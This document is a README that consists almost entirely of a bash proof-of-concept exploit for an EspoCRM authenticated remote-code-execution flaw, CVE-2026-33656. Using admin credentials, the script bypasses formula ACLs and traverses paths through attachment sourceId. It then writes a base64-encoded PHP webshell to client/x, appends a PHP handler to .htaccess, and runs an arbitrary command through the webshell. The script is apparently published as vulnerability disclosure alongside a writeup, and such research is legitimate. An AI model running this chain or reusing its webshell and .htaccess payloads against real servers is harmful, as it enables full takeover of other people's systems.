README.md
Rendering markdown...
#!/bin/bash
# ===========================================================================
# EspoCRM <= 9.3.3 CVE-2026-33656 — Authenticated RCE via Formula ACL Bypass
# + Attachment sourceId Path Traversal + .htaccess Poisoning
#
# Author : Jiva (jivasecurity.com)
# Writeup : https://jivasecurity.com/writeups/espocrm-rce-cve-2026-33656
# Product : EspoCRM <= 9.3.3
# Auth : Admin credentials required
# Impact : OS command execution
#
# Usage:
# ./poc.sh <base_url> <username> <password> [command]
#
# Example:
# ./poc.sh http://192.168.5.16:8090 admin admin id
# ===========================================================================
BASE="${1:-http://192.168.5.16:8090}"
USER="${2:-admin}"
PASS="${3:-admin}"
CMD="${4:-id}"
AUTH_B64=$(printf '%s:%s' "$USER" "$PASS" | base64 | tr -d '\n')
AUTH="Espo-Authorization: $AUTH_B64"
# JSON id extractor — prefers jq, falls back to grep+cut (no python3 needed)
extract_id() {
if command -v jq &>/dev/null; then
jq -r '.id'
else
grep -o '"id":"[^"]*"' | head -1 | cut -d'"' -f4
fi
}
die() { echo "[-] FAIL at $1: $2" >&2; exit 1; }
echo "[*] Target : $BASE"
echo "[*] User : $USER"
# ── Step 1: Create attachment (Document/file, .txt — passes accept list) ──────
echo ""
echo "[1/6] Creating webshell attachment..."
RESP=$(curl -s "$BASE/api/v1/Attachment" \
-H "$AUTH" -H "Content-Type: application/json" \
-d '{"name":"test.txt","type":"text/plain","role":"Attachment","relatedType":"Document","field":"file","isBeingUploaded":true,"size":28}')
SHELL_ID=$(echo "$RESP" | extract_id)
[[ -n "$SHELL_ID" ]] || die "Step 1" "no id returned — response: $RESP"
echo " Attachment ID: $SHELL_ID"
# ── Step 2: Formula sets sourceId → ../../client/x (path traversal) ──────────
echo "[2/6] Setting sourceId via formula (ACL bypass)..."
RESP=$(curl -s -X POST "$BASE/api/v1/Formula/action/run" \
-H "$AUTH" -H "Content-Type: application/json" \
-d "{\"expression\":\"record\\\\update(\\\"Attachment\\\",\\\"$SHELL_ID\\\",\\\"sourceId\\\",\\\"../../client/x\\\")\",\"targetType\":null,\"targetId\":null}")
echo "$RESP" | grep -q '"isSuccess":true' || die "Step 2" "formula failed — $RESP"
echo " sourceId → ../../client/x"
# ── Step 3: Chunk upload writes PHP webshell to client/x ─────────────────────
echo "[3/6] Writing PHP webshell to client/x..."
# Payload: <?php system($_GET["c"]); ?>
RESP=$(curl -s -X POST "$BASE/api/v1/Attachment/chunk/$SHELL_ID" \
-H "$AUTH" -H "Content-Type: application/octet-stream" \
--data-raw "data:application/octet-stream;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==")
echo " Response: $RESP"
# ── Step 4: Create second attachment for .htaccess modification ───────────────
echo "[4/6] Creating .htaccess attachment..."
RESP=$(curl -s "$BASE/api/v1/Attachment" \
-H "$AUTH" -H "Content-Type: application/json" \
-d '{"name":"ht.txt","type":"text/plain","role":"Attachment","relatedType":"Document","field":"file","isBeingUploaded":true,"size":999999}')
HT_ID=$(echo "$RESP" | extract_id)
[[ -n "$HT_ID" ]] || die "Step 4" "no id returned — response: $RESP"
echo " Attachment ID: $HT_ID"
# ── Step 5: Formula sets sourceId → ../../.htaccess ──────────────────────────
echo "[5/6] Redirecting to .htaccess via formula..."
RESP=$(curl -s -X POST "$BASE/api/v1/Formula/action/run" \
-H "$AUTH" -H "Content-Type: application/json" \
-d "{\"expression\":\"record\\\\update(\\\"Attachment\\\",\\\"$HT_ID\\\",\\\"sourceId\\\",\\\"../../.htaccess\\\")\",\"targetType\":null,\"targetId\":null}")
echo "$RESP" | grep -q '"isSuccess":true' || die "Step 5" "formula failed — $RESP"
echo " sourceId → ../../.htaccess"
# ── Step 6: Chunk upload appends PHP handler directive to .htaccess ───────────
echo "[6/6] Appending PHP handler directive to .htaccess..."
# Payload:
# <FilesMatch "^x$">
# SetHandler application/x-httpd-php
# </FilesMatch>
RESP=$(curl -s -X POST "$BASE/api/v1/Attachment/chunk/$HT_ID" \
-H "$AUTH" -H "Content-Type: application/octet-stream" \
--data-raw "data:text/plain;base64,CjxGaWxlc01hdGNoICJeeCQiPgpTZXRIYW5kbGVyIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwCjwvRmlsZXNNYXRjaD4=")
echo " Response: $RESP"
# ── Execute ───────────────────────────────────────────────────────────────────
echo ""
echo "[*] Executing: $CMD"
echo " Webshell: $BASE/client/x?c=<cmd>"
echo ""
RESULT=$(curl -s "$BASE/client/x?c=$CMD")
echo "$RESULT"
echo ""
if echo "$RESULT" | grep -qE "uid=[0-9]+"; then
echo "[+] RCE CONFIRMED"
else
echo "[-] Webshell did not return expected output — check manually:"
echo " curl -v '$BASE/client/x?c=id'"
fi